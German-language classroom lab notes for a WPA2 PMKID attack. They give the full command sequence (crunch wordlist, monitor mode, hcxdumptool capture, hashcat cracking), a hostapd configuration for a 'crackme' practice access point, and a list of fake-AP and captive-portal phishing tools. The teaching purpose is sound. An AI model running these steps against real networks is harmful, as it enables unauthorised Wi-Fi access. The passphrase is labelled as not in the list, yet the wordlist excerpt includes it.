Wlan PMKID-Angriff

Passwordliste generieren

• crunch 8 8 0123456789 -o password.lst

Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

Störende Dienste stoppen

• systemctl stop avahi-daemon
• systemctl stop NetworkManager

Interface suchen

• airmon-ng

PHY     Interface       Driver          Chipset
phy0    wlan0           rtl8812au       Alfa AWUS036ACH

Interface vorbereiten

• ip link set wlan0 down
• iw dev wlan0 set type monitor
• ip link set wlan0 up

PMKID-Sammlung starten

• hcxdumptool -i wlan0 -o pmkid.pcapng --enable_status=15

läuft, bis man Strg+C drückt

PMKID extrahieren

• hcxpcapngtool -o pmkid.hash -E essidlist.txt pmkid.pcapng

PMKID mit Hashcat knacken

• hashcat -m 16800 pmkid.hash password.lst

Beispielhafte Auswertung

• Laptop: ~1000 H/s
• GPU (RTX 3080): bis 800000 H/s
• Crack über GPU-Cluster oder Cloud möglich

Garantiert PMKID-fähige hostapd.conf

interface=wlan0
driver=nl80211
ssid=crackme
hw_mode=g
channel=6
country_code=DE
ieee80211n=1
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=Sommer2024
own_ip_addr=127.0.0.1
eap_server=0

Hinweis

hostapd bietet PMKID standardmäßig an, wenn ein Client verbunden war oder Roaming aktiviert ist.

Option 1: Mehrere Instanzen von hostapd (getrennte Interfaces notwendig)

• cp hostapd.conf hostapd1.conf
• cp hostapd.conf hostapd2.conf
• Ändere SSID und channel in jeder Datei

Beispiel:

ssid=crackme01
channel=1

ssid=crackme02
channel=6

• hostapd -dd hostapd1.conf &
• hostapd -dd hostapd2.conf &

Option 2: Einfacher Fake-AP mit create_ap (nur zu Demo-Zwecken)

• apt install create-ap
• create_ap wlan0 eth0 crackme123 Sommer2024

Wird nicht von allen PMKID-Tools erkannt, aber gut für Fake-Kulisse oder Captive Portals.

Zielsetzung

• Schüler scannen Umgebung
• Erfassen PMKID mit hcxdumptool
• Cracken mit vorbereiteter Wordlist

Beispiel-SSID und Passwort (nicht in Liste)

• SSID: crackme
• Passwort: Sommer2024

passende Wordlist (Ausschnitt)

hallo123
testtest
Sommer2023
Sommer2024
Winter2024
12345678
98765432
00001234

Cracken starten

• hashcat -m 16800 pmkid.hash wordlist.txt

Diskussion

• Warum klappt PMKID ohne Client?
• Welche APs sind verwundbar?
• Warum ist WPA3 hier sicherer?

Weiterführende Tools

• Bettercap
• roguehostapd
• hostapd-wpe (für Enterprise-Angriffe)
• Captive-Portal-Frameworks: WiFiPhisher, Fluxion

Videos

• PMKID Angriff mit hcxdumptool
• WPA Handshake Crack

Links

• Cracking WPA-PMKID with Hashcat
• hcxdumptool GitHub
• hcxtools GitHub